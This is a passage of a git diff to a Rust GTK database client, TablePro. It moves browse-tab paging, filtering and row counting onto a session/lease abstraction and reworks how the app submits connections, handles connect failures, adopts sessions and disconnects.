b/linux/crates/app/src/ui/app/browse.rs index a66018f680..3b6e5deee7 100644 --- a/linux/crates/app/src/ui/app/browse.rs +++ b/linux/crates/app/src/ui/app/browse.rs @@ -1,10 +1,13 @@ use relm4::adw::prelude::*; use relm4::{ComponentController, ComponentSender, adw}; -use tablepro_core::{ColumnInfo, QueryResult}; +use tablepro_core::browse::{PageRequest, SortKey, build_count, build_page, split_page}; +use tablepro_core::meta::{PagePosition, TableRef}; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{CallOptions, ColumnInfo, DriverError, FilterSet, QueryResult, RowLimit}; +use tablepro_session::{ConnectionLease, OperationKind, Session}; use uuid::Uuid; -use crate::services::database_service; use crate::ui::browse_tab::BrowseTabInput; use super::{App, AppMsg, OpenMode}; @@ -21,196 +24,142 @@ impl App { self.dispatch_select_table(schema, name, open_mode, sender); } - /// Fire the SELECT * query for a specific browse tab. Result goes to - /// the same tab via `AppMsg::RowsLoaded(tab_id, ...)`. Composes the - /// SELECT from the tab's current sort + filter + pagination state. - /// Filter and sort are server-side; the row window is rendered by - /// `sql_dialect::build_order_and_pagination` because the syntax is - /// dialect-specific. + /// Fetch the current page of a browse tab, under its sort, filter + /// and position. The SQL is built inside the operation from the + /// connection it runs on, so it matches that server's dialect even + /// when a reconnect lands in between. pub(super) fn fetch_browse_page(&self, tab_id: Uuid, sender: ComponentSender) { - let (schema, table, offset, limit, sort, filter, columns, driver_id) = { - let tabs = self.workspace_tabs.borrow(); - let Some(controller) = tabs.get(&tab_id).and_then(|t| t.browse_controller()) else { - return; - }; - let model = controller.model(); - ( - model.schema().map(str::to_owned), - model.table().to_string(), - model.current_offset(), - model.page_size(), - model.current_sort(), - model.current_filter().clone(), - model.columns().to_vec(), - model.driver_id().to_string(), - ) - }; - - let Some(conn) = database_service::instance().active() else { - sender.input(AppMsg::LoadFailed(Some(tab_id), "no active connection".into())); + let Some(request) = self.browse_request(tab_id) else { return; }; - let order_by = sort.and_then(|(idx, asc)| { - columns.get(idx).map(|c| { - let name = tablepro_core::sql_dialect::quote_ident(&driver_id, &c.name); - let dir = if asc { "ASC" } else { "DESC" }; - format!("{name} {dir}") - }) - }); - - // Build WHERE up front so a filter validation error short- - // circuits to a toast without spawning the async command. - // Build returns None when the filter is empty; that path - // matches today's no-filter behaviour exactly. - let dialect = tablepro_core::dialect::dialect_for(&driver_id); - let (where_sql, params) = match tablepro_core::build_filter(dialect, &columns, &filter, 1) { - Ok(Some((sql, bound))) => (Some(sql), bound_values(bound)), - Ok(None) => (None, Vec::new()), - Err(e) => { - sender.input(AppMsg::ShowToast(format!("{e}"))); - return; - } + let Some(session) = self.context.active.get() else { + sender.input(AppMsg::LoadFailed( + Some(tab_id), + crate::i18n::gettext("No active connection"), + )); + return; }; - - let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - // No WHERE + no ORDER BY: keep the existing - // fetch_rows fast-path so unchanged callers don't - // pay the parametric overhead. - let result = if where_sql.is_none() && order_by.is_none() { - conn.fetch_rows(schema.as_deref(), &table, offset, limit).await - } else { - let qualified = match &schema { - Some(s) => format!( - "{}.{}", - tablepro_core::sql_dialect::quote_ident(&driver_id, s), - tablepro_core::sql_dialect::quote_ident(&driver_id, &table) - ), - None => tablepro_core::sql_dialect::quote_ident(&driver_id, &table), + // A filter the dialect cannot write is the user's to fix, so it + // is a toast now rather than a failed page later. + if let Some(message) = filter_problem(&session, &request) { + sender.input(AppMsg::ShowToast(message)); + return; + } + let offset = request.offset; + let work = async move { + session + .run(OperationKind::Page, move |lease, options| { + let request = request.clone(); + async move { + let columns = request.columns(&lease, &options).await?; + let identity = lease.row_identity(&request.table, options.clone()).await?; + let position = match request.offset { + 0 => PagePosition::First, + offset => PagePosition::Offset(offset), }; - let mut sql = format!("SELECT * FROM {qualified}"); - if let Some(w) = &where_sql { - sql.push_str(" WHERE "); - sql.push_str(w); - } - sql.push_str(&tablepro_core::sql_dialect::build_order_and_pagination( - &driver_id, - order_by.as_deref(), - limit, - offset, - )); - conn.query_params(&sql, ¶ms).await - }; - match result { - Ok(query_result) => sender_clone.input(AppMsg::RowsLoaded(tab_id, offset, query_result)), - Err(e) => sender_clone.input(AppMsg::LoadFailed( - Some(tab_id), - crate::ui::error_text::driver_message(&e), - )), + let spec = build_page( + &*lease.dialect(), + &PageRequest { + table: &request.table, + columns: &columns, + filter: &request.filter, + sort: &request.sort, + identity: &identity, + position: &position, + limit: request.limit, + }, + )?; + let limit = RowLimit::new(request.limit).unwrap_or(RowLimit::EDITOR_DEFAULT); + let result = lease.query_bound(&spec.statement, limit, options).await?; + let page = split_page(result, &spec)?; + Ok(QueryResult::new(page.columns, page.rows).truncated(page.truncated)) } }) - .drop_on_shutdown() + .await + }; + self.context.tasks.spawn_task(async move { + match work.await { + Ok(result) => sender.input(AppMsg::RowsLoaded(tab_id, offset, result)), + Err(error) => sender.input(AppMsg::LoadFailed( + Some(tab_id), + crate::ui::error_text::operation_error_message(&error), + )), + } }); } pub(super) fn fetch_browse_columns(&self, tab_id: Uuid, sender: ComponentSender) { - let (schema, table) = { - let tabs = self.workspace_tabs.borrow(); - let Some(controller) = tabs.get(&tab_id).and_then(|t| t.browse_controller()) else { - return; - }; - let model = controller.model(); - (model.schema().map(str::to_owned), model.table().to_string()) + let Some(table) = self.browse_request(tab_id).map(|request| request.table) else { + return; }; - - let Some(conn) = database_service::instance().active() else { + let Some(session) = self.context.active.get() else { return; }; - let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - if let Ok(columns) = conn.fetch_columns(schema.as_deref(), &table).await { - sender_clone.input(AppMsg::ColumnsLoaded(tab_id, columns)); - } + self.context.tasks.spawn_task(async move { + let columns = session + .run(OperationKind::Metadata, move |lease, options| { + let table = table.clone(); + async move { Ok(lease.fetch_columns(&table, options).await?) } }) - .drop_on_shutdown() + .await; + match columns { + Ok(columns) => sender.input(AppMsg::ColumnsLoaded(tab_id, columns)), + Err(error) => tracing::warn!(%error, "could not read the table's columns"), + } }); } + /// The "of N" total, under the same filter as the page so the two + /// agree. pub(super) fn fetch_browse_row_count(&self, tab_id: Uuid, sender: ComponentSender) { - let (schema, table, filter, columns, driver_id) = { - let tabs = self.workspace_tabs.borrow(); - let Some(controller) = tabs.get(&tab_id).and_then(|t| t.browse_controller()) else { - return; - }; - let model = controller.model(); - ( - model.schema().map(str::to_owned), - model.table().to_string(), - model.current_filter().clone(), - model.columns().to_vec(), - model.driver_id().to_string(), - ) - }; - - let Some(conn) = database_service::instance().active() else { + let Some(request) = self.browse_request(tab_id) else { return; }; - - // Same WHERE the page fetch uses, so the "of N" total matches - // the filtered result set. Validation errors are silently - // suppressed here — fetch_browse_page surfaces the toast for - // the same filter on the same tick, no need to double-toast. - let dialect = tablepro_core::dialect::dialect_for(&driver_id); - let (where_sql, params) = match tablepro_core::build_filter(dialect, &columns, &filter, 1) { - Ok(Some((sql, bound))) => (Some(sql), bound_values(bound)), - _ => (None, Vec::new()), + let Some(session) = self.context.active.get() else { + return; }; - - let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let qualified = match schema { - Some(s) => format!( - "{}.{}", - tablepro_core::sql_dialect::quote_ident(&driver_id, &s), - tablepro_core::sql_dialect::quote_ident(&driver_id, &table) - ), - None => tablepro_core::sql_dialect::quote_ident(&driver_id, &table), - }; - let mut sql = format!("SELECT COUNT(*) FROM {qualified}"); - if let Some(w) = &where_sql { - sql.push_str(" WHERE "); - sql.push_str(w); - } - let qr_result = if where_sql.is_some() { - conn.query_params(&sql, ¶ms).await - } else { - conn.query(&sql).await - }; - if let Ok(qr) = qr_result - && let Some(row) = qr.rows.first() - && let Some(value) = row.first() - { - let count = match value { - tablepro_core::Value::Int(i) if *i >= 0 => u64::try_from(*i).ok(), - tablepro_core::Value::UInt(i) => Some(*i), - tablepro_core::Value::Decimal(_) => value.as_exact_u64(), - _ => None, - }; - if let Some(count) = count { - sender_clone.input(AppMsg::RowCountLoaded(tab_id, count)); - } + // The page fetch toasts a bad filter on the same tick, so the + // count stays quiet about it. + if filter_problem(&session, &request).is_some() { + return; + } + self.context.tasks.spawn_task(async move { + let counted = session + .run(OperationKind::Count, move |lease, options| { + let request = request.clone(); + async move { + let columns = request.columns(&lease, &options).await?; + let statement = build_count(&*lease.dialect(), &request.table, &columns, &request.filter)?; + Ok(lease.count_rows(&statement, options).await?) } }) - .drop_on_shutdown() + .await; + match counted { + Ok(count) => sender.input(AppMsg::RowCountLoaded(tab_id, count)), + Err(error) => tracing::debug!(%error, "the row count could not be read"), + } }); } + /// What a page or count of this tab depends on, read on the GTK + /// thread so the work that follows owns its copy. + fn browse_request(&self, tab_id: Uuid) -> Option { + let tabs = self.workspace_tabs.borrow(); + let model = tabs.get(&tab_id)?.browse_controller()?.model(); + Some(BrowseRequest { + table: TableRef::new(model.schema().map(str::to_owned), model.table()), + columns: model.columns().to_vec(), + filter: model.current_filter().clone(), + sort: model + .current_sort() + .map(|(column, ascending)| SortKey { column, ascending }) + .into_iter() + .collect(), + offset: model.current_offset(), + limit: model.page_size(), + }) + } + pub(super) fn on_browse_columns_loaded(&self, tab_id: Uuid, columns: Vec) { self.dispatch_to_tab(tab_id, BrowseTabInput::ColumnsLoaded(columns)); } @@ -285,10 +234,42 @@ impl App { } } -/// The values a dialect bound, for the driver's own parameter list. +/// One browse tab's view of its table: the part of a page or count +/// that does not depend on the connection it runs on. +#[derive(Debug, Clone)] +struct BrowseRequest { + table: TableRef, + /// Empty until the tab has read them from the catalogue. + columns: Vec, + filter: FilterSet, + sort: Vec, + offset: u64, + limit: u64, +} + +impl BrowseRequest { + /// The tab's columns, or the catalogue's when the tab has not read + /// them yet: a page names every column it selects. + async fn columns(&self, lease: &ConnectionLease, options: &CallOptions) -> Result, DriverError> { + match self.columns.is_empty() { + true => lease.fetch_columns(&self.table, options.clone()).await, + false => Ok(self.columns.clone()), + } + } +} + +/// Why the tab's filter cannot be written for the current server, if it +/// cannot. /// -/// The bound form carries the type the server expects; the driver -/// binds by the value, so only that part travels on. -fn bound_values(bound: Vec) -> Vec { - bound.into_iter().map(|param| param.value().clone()).collect() +/// Before the tab has its columns there is nothing to check against; +/// the page reads them and reports a filter that does not fit. +fn filter_problem(session: &Session, request: &BrowseRequest) -> Option { + if request.columns.is_empty() { + return None; + } + let dialect = session.current_dialect()?; + let mut builder = StatementBuilder::new(); + tablepro_core::build_filter(&mut builder, &*dialect, &request.columns, &request.filter) + .err() + .map(|error| error.to_string()) } diff --git a/linux/crates/app/src/ui/app/connection.rs b/linux/crates/app/src/ui/app/connection.rs index 9e330d3fda..d5eb2e0c55 100644 --- a/linux/crates/app/src/ui/app/connection.rs +++ b/linux/crates/app/src/ui/app/connection.rs @@ -1,42 +1,376 @@ +use std::sync::Arc; + use relm4::adw::prelude::*; use relm4::gtk::{gio, glib}; -use relm4::{Component, ComponentController, ComponentSender, adw, gtk}; +use relm4::{ComponentController, ComponentSender, adw, gtk}; -use tablepro_core::TableInfo; -use tablepro_storage::SavedConnection; +use tablepro_core::meta::ObjectInfo; +use tablepro_session::connect::AttemptGeneration; +use tablepro_session::runtime::WatchForwarder; +use tablepro_session::{ + ClaimError, ConnectError, CredentialSource, MonitorSignal, PendingSession, Session, SessionClaim, SessionHealth, + SessionKey, +}; +use tablepro_storage::{CredentialDemand, SavedConnection}; use uuid::Uuid; -use crate::services::database_service::ConnectionHealth; -use crate::services::{connection_service, database_service}; -use crate::ui::connect_dialog::{ConnectDialog, ConnectDialogInit, ConnectDialogOutput}; +use tablepro_session::RequestTarget; +use tablepro_session::connect::StoreConnectionWrites; +use tablepro_storage::StorageError; + +use crate::ui::connect_dialog::{ConnectDialog, ConnectDialogInit, ConnectPrefill, ConnectSubmission, FormField}; +use crate::ui::error_text::TlsRemedy; +use crate::ui::ssh_inputs::SshEnvironment; +use super::teardown_guard::Teardown; use super::{App, AppMsg, qualified_label}; +/// What a failed connect can be retried from: the connection as it was +/// submitted, and the setting that would fix it. +#[derive(Debug)] +pub(crate) struct ConnectRetry { + pub prefill: ConnectPrefill, + pub remedy: Option, +} + +/// Why a submitted connection did not open. +enum SubmitError { + Connect(ConnectError), + Save(StorageError), +} + +/// The password the user typed, so editing after a failure does not +/// make them type it again. It stays in memory. +fn typed_password(target: &RequestTarget) -> Option { + match target { + RequestTarget::Network { + credentials: tablepro_core::Credentials::Password { password, .. }, + .. + } => Some(password.clone()), + _ => None, + } +} + +/// A connect that worked, waiting for the window to adopt it. +pub(crate) struct ReadySession { + pub key: SessionKey, + pub pending: PendingSession, + /// What a reconnect reads its secrets from. + pub credentials: Arc, + /// Secrets the keyring refused to keep, one sentence each. + pub warnings: Vec, + /// The attempt it came from, when the window started it, so a late + /// result loses to a newer attempt. + pub generation: Option, +} + +impl std::fmt::Debug for ReadySession { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ReadySession") + .field("key", &self.key) + .field("pending", &self.pending) + .field("generation", &self.generation) + .finish_non_exhaustive() + } +} + +/// What ties the adopted session to this window. Dropping it releases +/// the registry key and stops the watchers that feed the banner and the +/// sidebar. +pub(crate) struct SessionLinks { + key: SessionKey, + _claim: SessionClaim, + _health: WatchForwarder, + _catalog: WatchForwarder, +} + +fn spawn_local(future: futures::future::LocalBoxFuture<'static, ()>) { + glib::spawn_future_local(future); +} + impl App { pub(super) fn on_open_connect(&mut self, sender: ComponentSender) { - let dialog = ConnectDialog::builder() - .launch(ConnectDialogInit { - storage: self.storage.clone(), - registry: self.registry.clone(), - settings: self.settings.clone(), - tasks: self.tasks.clone(), - }) - .forward(sender.input_sender(), |out| match out { - ConnectDialogOutput::Connected { tables, driver_id } => AppMsg::Connected { tables, driver_id }, - ConnectDialogOutput::Warning(message) => AppMsg::ShowToast(message), - ConnectDialogOutput::Closed => AppMsg::DialogClosed, - }); - dialog.widget().present(Some(&self.window)); + self.present_connect_dialog(None, None, sender); + } + + /// Show the connect dialog, filled from `prefill` when a connect + /// from it failed, with the focus on `focus`. + fn present_connect_dialog( + &mut self, + prefill: Option, + focus: Option, + sender: ComponentSender, + ) { + let dialog = ConnectDialog::new(ConnectDialogInit { + drivers: self.context.drivers.clone(), + connector: self.context.connector.clone(), + interaction: self.context.attended(), + tasks: self.tasks.clone(), + saved_connections: Arc::from(self.saved_connections.clone()), + remembered_driver: self.settings.connect_dialog_driver(), + ssh_environment: SshEnvironment::detect(), + prefill, + }); + let submitted = sender.clone(); + dialog.connect_submitted(move |_, submission| { + submitted.input(AppMsg::ConnectSubmitted(Box::new(submission))); + }); + let closed = sender; + dialog.connect_closed(move |_| closed.input(AppMsg::DialogClosed)); + dialog.present(Some(&self.window)); + if let Some(field) = focus { + dialog.reveal_field(field); + } self.dialog = Some(dialog); } - pub(super) fn on_connected(&mut self, tables: Vec, driver_id: String, sender: ComponentSender) { + /// Connect to what the dialog was filled in with, then save it. The + /// entry is only written once the connect works, so a typo never + /// lands in the connection list. + pub(super) fn on_connect_submission(&mut self, submission: ConnectSubmission, sender: ComponentSender) { + if self.context.active.is_connected() { + let proceed = AppMsg::ConnectSubmissionConfirmed(Box::new(submission)); + self.confirm_teardown(Teardown::Switch, proceed, sender); + return; + } + self.connect_submission(submission, sender); + } + + pub(super) fn connect_submission(&mut self, submission: ConnectSubmission, sender: ComponentSender) { + let ConnectSubmission { request, pending_save } = submission; + self.set_loading_page( + &crate::i18n::gettext("Connecting…"), + &crate::i18n::gettext_f("Opening {name}", &[("name", &request.metadata.name)]), + &sender, + ); + let ticket = self.connect_attempts.begin(); + let generation = ticket.generation(); + let cancel = ticket.cancel().clone(); + let retry = ConnectRetry { + prefill: ConnectPrefill { + connection: pending_save.connection.clone(), + password: typed_password(&request.target), + }, + remedy: None, + }; + let connector = self.context.connector.clone(); + let interaction = self.context.attended(); + let secrets = self.context.secrets.clone(); + let writes = StoreConnectionWrites::new(self.storage.connections().clone(), self.tasks.clone()); + let connecting = async move { + let pending = connector + .establish(request, interaction, cancel) + .await + .map_err(SubmitError::Connect)?; + match tablepro_session::persist_pending_save(&*secrets, &writes, pending_save).await { + Ok(report) => Ok((pending, report)), + Err(error) => { + let report = pending.discard().await; + tracing::debug!(?report, "closed a connection whose entry could not be saved"); + Err(SubmitError::Save(error)) + } + } + }; + let context = self.context.clone(); + let settings = self.settings.clone(); + crate::runtime::spawn_and_deliver(&self.tasks, connecting, move |outcome| { + let failed = |message: String, retry: ConnectRetry| AppMsg::ConnectFailed { + generation, + message: Some(message), + edit: Some(Box::new(retry)), + }; + let message = match outcome { + Ok(Ok((pending, report))) => { + // The dialog opens on this driver next time. + if let Err(error) = settings.set_connect_dialog_driver(&report.saved.driver_id) { + tracing::warn!(%error, "could not remember the connect dialog driver"); + } + AppMsg::SessionReady(Box::new(ReadySession { + key: SessionKey::Saved(report.saved.id), + credentials: Arc::new(context.keyring_credentials(&report.saved)), + pending, + // A keyring refusal must not be silent: the + // connection opened, but the password will be + // asked for next time. + warnings: report + .secret_failures + .iter() + .map(|(_, error)| crate::services::secret_save_report::not_saved_message(error)) + .collect(), + generation: Some(generation), + })) + } + Ok(Err(SubmitError::Connect(ConnectError::Cancelled))) => AppMsg::ConnectFailed { + generation, + message: None, + edit: None, + }, + Ok(Err(SubmitError::Connect(error))) => failed( + crate::ui::error_text::connect_error_message(&error), + ConnectRetry { + remedy: crate::ui::error_text::connect_remedy(&error), + ..retry + }, + ), + Ok(Err(SubmitError::Save(error))) => failed( + crate::i18n::gettext_f( + "The connection could not be saved: {error}", + &[("error", &error.to_string())], + ), + retry, + ), + Err(failure) => failed(crate::ui::error_text::task_failure_message(&failure), retry), + }; + sender.input(message); + }); + } + + /// The Connecting toast's Cancel. The attempt is superseded, not + /// only cancelled: a driver blocked in a socket call can still + /// connect afterwards, and that late session must not be adopted. + pub(super) fn on_cancel_connect(&mut self) { + drop(self.connect_attempts.begin()); + self.connect_attempts.cancel(); + self.dismiss_loading_page(); + } + + pub(super) fn on_edit_connection(&mut self, retry: ConnectRetry, sender: ComponentSender) { + let focus = retry.remedy.map(crate::ui::connect_dialog::remedy_field); + self.present_connect_dialog(Some(retry.prefill), focus, sender); + } + + /// Adopt a session that connected: claim its key, start it, and + /// build the workspace on its catalog. + pub(super) fn on_session_ready(&mut self, ready: ReadySession, sender: ComponentSender) { + let ReadySession { + key, + pending, + credentials, + warnings, + generation, + } = ready; + if generation.is_some_and(|generation| !self.connect_attempts.accepts(generation)) { + self.discard_pending(pending); + return; + } + self.dismiss_loading_page(); + if self.session_links.as_ref().is_some_and(|links| links.key == key) { + self.discard_pending(pending); + self.show_toast(&crate::i18n::gettext("This connection is already open.")); + return; + } + // One window shows one database, so the one open now goes first. + if self.context.active.is_connected() { + self.release_session(sender.clone()); + } + let claim = match self.context.sessions.claim(key.clone(), self.window.id()) { + Ok(claim) => claim, + Err(ClaimError::AlreadyOpen { .. }) => { + self.discard_pending(pending); + self.show_toast(&crate::i18n::gettext( + "This connection is already open in another window.", + )); + return; + } + }; + let driver_id = pending.metadata().driver_id.clone(); + let session = Session::start(pending, self.context.session_deps(credentials)); + claim.attach(&session); + self.context.active.replace(session.clone()); + + let catalog = session.catalog(); + let first = catalog.borrow().clone(); + let health_sender = sender.clone(); + let catalog_sender = sender.clone(); + let mut shown = first.generation; + self.session_links = Some(SessionLinks { + key, + _claim: claim, + _health: WatchForwarder::new( + session.health(), + move |health| health_sender.input(AppMsg::HealthChanged(health)), + spawn_local, + ), + // A reconnect reads the catalog again; the first one is + // already on screen. + _catalog: WatchForwarder::new( + catalog, + move |snapshot: tablepro_session::CatalogSnapshot| { + if snapshot.generation != shown { + shown = snapshot.generation; + catalog_sender.input(AppMsg::CatalogChanged(snapshot.objects.to_vec())); + } + }, + spawn_local, + ), + }); + for warning in warnings { + self.show_toast(&warning); + } + self.dialog = None; + self.on_connected(first.objects.to_vec(), driver_id, sender); + } + + /// A connect failed. A cancelled one returns to the list without an + /// error: the user is the one who stopped it. Otherwise the alert + /// offers to edit what was connected to, starting at the setting + /// that fixes a TLS failure when there is one. + pub(super) fn on_connect_failed( + &mut self, + generation: AttemptGeneration, + message: Option, + edit: Option>, + sender: ComponentSender, + ) { + if !self.connect_attempts.accepts(generation) { + return; + } + self.dismiss_loading_page(); + let Some(message) = message else { + return; + }; + tracing::warn!(error = %message, "connect failed"); + let dialog = adw::AlertDialog::new(Some(&crate::i18n::gettext("Could Not Connect")), Some(&message)); + dialog.add_response("close", &crate::i18n::gettext("Close")); + dialog.set_close_response("close"); + dialog.set_default_response(Some("close")); + if let Some(retry) = edit { + let label = retry + .remedy + .map_or_else(|| crate::i18n::gettext("Edit Connection…"), |remedy| remedy.label()); + dialog.add_response("edit", &label); + dialog.set_default_response(Some("edit")); + let retry = std::cell::RefCell::new(Some(retry)); + dialog.connect_response(Some("edit"), move |_, _| { + if let Some(retry) = retry.borrow_mut().take() { + sender.input(AppMsg::EditConnection(retry)); + } + }); + } + dialog.present(Some(&self.window)); + } + + /// Throw away a connection nobody adopted, closing it under the + /// close deadline while the process stays alive for it. + fn discard_pending(&self, pending: PendingSession) { + let hold = self.context.hold.acquire(); + let closing = self.context.tasks.spawn_task(pending.discard()); + glib::spawn_future_local(async move { + if let Ok(report) = closing.await { + tracing::debug!(?report, "closed a connection that was not adopted"); + } + drop(hold); + }); + } + + fn on_connected(&mut self, objects: Vec, driver_id: String, sender: ComponentSender) { self.dismiss_loading_page(); self.dialog = None; self.connected = true; self.current_driver_id = Some(driver_id.clone()); - self.read_only = database_service::instance().is_active_read_only(); + self.read_only = self.context.active.read_only(); self.read_only_badge.set_visible(self.read_only); + self.reconnect_banner.set_revealed(false); self.split_view.set_show_sidebar(true); self.disconnect_action.set_enabled(true); self.table_search.set_text(""); @@ -45,14 +379,15 @@ impl App { // a tab via sidebar click or Ctrl+T. self.ensure_workspace_root(sender.clone()); self.content_holder.set_content(Some(&self.workspace_outer_stack)); - self.table_names = tables.iter().map(|t| t.name.clone()).collect(); - tracing::info!(driver = %driver_id, table_count = tables.len(), "workspace ready"); - self.repopulate_sidebar(&tables); + let browsable = browsable(objects); + self.table_names = browsable.iter().map(|object| object.name.clone()).collect(); + tracing::info!(driver = %driver_id, table_count = browsable.len(), "workspace ready"); + self.repopulate_sidebar(&browsable); self.rebuild_schema_buffer(); self.refresh_window_title(); // Restore tabs (browse + editor) persisted from the prior session // for this connection. - if let Some(connection_id) = database_service::instance().active_id() { + if let Some(connection_id) = self.context.active.metadata().map(|metadata| metadata.id) { self.restore_workspace_tabs(connection_id, sender.clone()); // Stamp `last_opened_at = now()` then reload connections so // the popover + welcome view re-sort with the fresh @@ -78,69 +413,57 @@ impl App { } pub(super) fn on_disconnect(&mut self, sender: ComponentSender) { - // Block disconnect when any tab has pending changes. The - // teardown below clears all tracker registries, so dropping - // the connection mid-edit silently destroys the user's work. - // Confirm via an AlertDialog mirroring the window-close-with- - // pending and F5-with-pending paths. - let has_pending = crate::services::change_tracker::any_pending_globally() - || crate::services::structure_tracker::any_pending_globally(); - if has_pending { - let dialog = adw::AlertDialog::new( - Some(&crate::i18n::gettext("Discard pending changes?")), - Some(&crate::i18n::gettext( - "Disconnecting will close every tab and drop every unsaved row edit and DDL change.", - )), - ); - dialog.add_response("cancel", &crate::i18n::gettext("Cancel")); - dialog.add_response("discard", &crate::i18n::gettext("Discard and disconnect")); - dialog.set_response_appearance("discard", adw::ResponseAppearance::Destructive); - dialog.set_default_response(Some("cancel")); - dialog.set_close_response("cancel"); - let sender_for_resp = sender.clone(); - dialog.connect_response(None, move |dlg, response| { - dlg.close(); - if response == "discard" { - sender_for_resp.input(AppMsg::ForceDisconnect); - } - }); - dialog.present(Some(&self.window)); - return; - } - self.do_disconnect(sender); + self.confirm_teardown(Teardown::Disconnect, AppMsg::ForceDisconnect, sender); } - /// Skip the dirty check and tear the connection down. Reachable - /// either from the AlertDialog "Discard and disconnect" branch - /// or from a clean `Disconnect` when no tracker has pending - /// changes. pub(super) fn do_disconnect(&mut self, sender: ComponentSender) { + self.release_session(sender.clone()); + self.split_view.set_show_sidebar(false); + self.disconnect_action.set_enabled(false); + self.refresh_window_title(); + self.show_welcome_page(sender); + tracing::info!("disconnected"); + } + + /// Close the workspace and shut the session down. The process is + /// held until the close ends, so quitting right after a disconnect + /// does not cut the connection off mid-close. + fn release_session(&mut self, _sender: ComponentSender) { // Persist + tear down workspace tabs before dropping the - // connection (persist needs the active connection_id). + // session (persist needs the active connection id). self.teardown_workspace_tabs(); // Drop reopen-stack entries — they reference tables in the // connection we're about to release. Reopening one against a // different connection would target a non-existent table. self.clear_closed_tabs_stack(); - let svc = database_service::instance(); - if let Some(id) = svc.active_id() { - svc.remove(id); - } else { - svc.clear_all(); + self.session_links = None; + if let Some(session) = self.context.active.take() { + let hold = self.context.hold.acquire(); + let closing = session.begin_shutdown(); + glib::spawn_future_local(async move { + match closing.await { + Ok(report) => tracing::debug!(?report, "the session closed"), + Err(failure) => tracing::warn!(%failure, "the session close task failed"), + } + drop(hold); + }); } + self.reconnect_banner.set_revealed(false); self.schema_buffer.set_text(crate::ui::editor::SQL_KEYWORDS); self.current_driver_id = None; self.read_only = false; self.read_only_badge.set_visible(false); self.connected = false; - self.split_view.set_show_sidebar(false); - self.disconnect_action.set_enabled(false); - self.refresh_window_title(); self.table_search.set_text(""); self.sidebar_schemas.borrow_mut().clear(); self.sidebar_factory.guard().clear(); - self.show_welcome_page(sender); - tracing::info!("disconnected"); + } + + /// The banner's Retry: the only thing that wakes a parked session. + pub(super) fn on_retry_connection(&self) { + if let Some(session) = self.context.active.get() { + session.signal(MonitorSignal::RetryNow); + } } pub(super) fn on_reload_connections(&self, sender: ComponentSender) { @@ -188,14 +511,6 @@ impl App { } } - pub(super) fn on_poll_health(&mut self) { - let current = database_service::instance().active_health(); - if current != self.health_state { - self.refresh_health_banner(current.clone()); - self.health_state = current; - } - } - pub(super) fn on_delete_connection(&self, id: Uuid, sender: ComponentSender) { // Connection deletion wipes the saved entry and ALL associated // keyring credentials (db password, SSH password, SSH passphrase). @@ -263,40 +578,37 @@ impl App { let connections = self.storage.connections().clone(); let secrets = self.storage.secrets().clone(); let tasks = self.tasks.clone(); + let spawner = self.tasks.clone(); let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let copy_id = copy.id; - let saved = tasks - .spawn_blocking_task({ - let connections = connections.clone(); - move || connections.upsert_blocking(copy) - }) - .await; - if let Ok(Err(error)) = saved { - tracing::warn!(%error, "could not save the duplicated connection"); - sender_clone.input(AppMsg::ShowToast(crate::i18n::gettext( - "The connection could not be duplicated.", - ))); - return; - } - // A copy with no password still connects once the - // user types one, so a keyring that refuses is - // reported rather than undoing the copy. - let carried = copy_secrets(secrets.as_ref(), source.id, copy_id, &name).await; - sender_clone.input(AppMsg::ReloadConnections); - sender_clone.input(AppMsg::ShowToast(if carried { - crate::i18n::gettext_f("Duplicated as {name}", &[("name", &name)]) - } else { - crate::i18n::gettext_f( - "Duplicated as {name}. Its password could not be copied, so enter it again.", - &[("name", &name)], - ) - })); + drop(spawner.spawn_task(async move { + let copy_id = copy.id; + let saved = tasks + .spawn_blocking_task({ + let connections = connections.clone(); + move || connections.upsert_blocking(copy) }) - .drop_on_shutdown() - }); + .await; + if let Ok(Err(error)) = saved { + tracing::warn!(%error, "could not save the duplicated connection"); + sender_clone.input(AppMsg::ShowToast(crate::i18n::gettext( + "The connection could not be duplicated.", + ))); + return; + } + // A copy with no password still connects once the + // user types one, so a keyring that refuses is + // reported rather than undoing the copy. + let carried = copy_secrets(secrets.as_ref(), source.id, copy_id, &name).await; + sender_clone.input(AppMsg::ReloadConnections); + sender_clone.input(AppMsg::ShowToast(if carried { + crate::i18n::gettext_f("Duplicated as {name}", &[("name", &name)]) + } else { + crate::i18n::gettext_f( + "Duplicated as {name}. Its password could not be copied, so enter it again.", + &[("name", &name)], + ) + })); + })); } /// File a connection under a group, or take it out of the one it @@ -339,21 +651,18 @@ impl App { fn write_connection(&self, saved: SavedConnection, failure: String, sender: ComponentSender) { let connections = self.storage.connections().clone(); let tasks = self.tasks.clone(); + let spawner = self.tasks.clone(); let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let written = tasks - .spawn_blocking_task(move || connections.upsert_blocking(saved)) - .await; - if let Ok(Err(error)) = written { - tracing::warn!(%error, "could not save the connection"); - sender_clone.input(AppMsg::ShowToast(failure)); - } - sender_clone.input(AppMsg::ReloadConnections); - }) - .drop_on_shutdown() - }); + drop(spawner.spawn_task(async move { + let written = tasks + .spawn_blocking_task(move || connections.upsert_blocking(saved)) + .await; + if let Ok(Err(error)) = written { + tracing::warn!(%error, "could not save the connection"); + sender_clone.input(AppMsg::ShowToast(failure)); + } + sender_clone.input(AppMsg::ReloadConnections); + })); } /// Write the connection list to a file the user picks. @@ -434,90 +743,145 @@ impl App { ) { let connections = self.storage.connections().clone(); let tasks = self.tasks.clone(); + let spawner = self.tasks.clone(); let sender_clone = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let imported = tasks - .spawn_blocking_task(move || connections.import_blocking(&path, &bytes)) - .await; - let message = match imported { - Ok(Ok(report)) if report.total() == 0 => { - crate::i18n::gettext("That file has no connections in it.") - } - Ok(Ok(report)) => crate::i18n::ngettext_f( - "Imported {n} connection.", - "Imported {n} connections.", - report.total() as u32, - &[("n", &report.total().to_string())], - ), - Ok(Err(error)) => { - tracing::warn!(%error, "could not import the connections"); - crate::i18n::gettext("That file is not a TablePro connection export.") - } - Err(error) => { - tracing::warn!(%error, "the import task did not finish"); - crate::i18n::gettext("The connections could not be 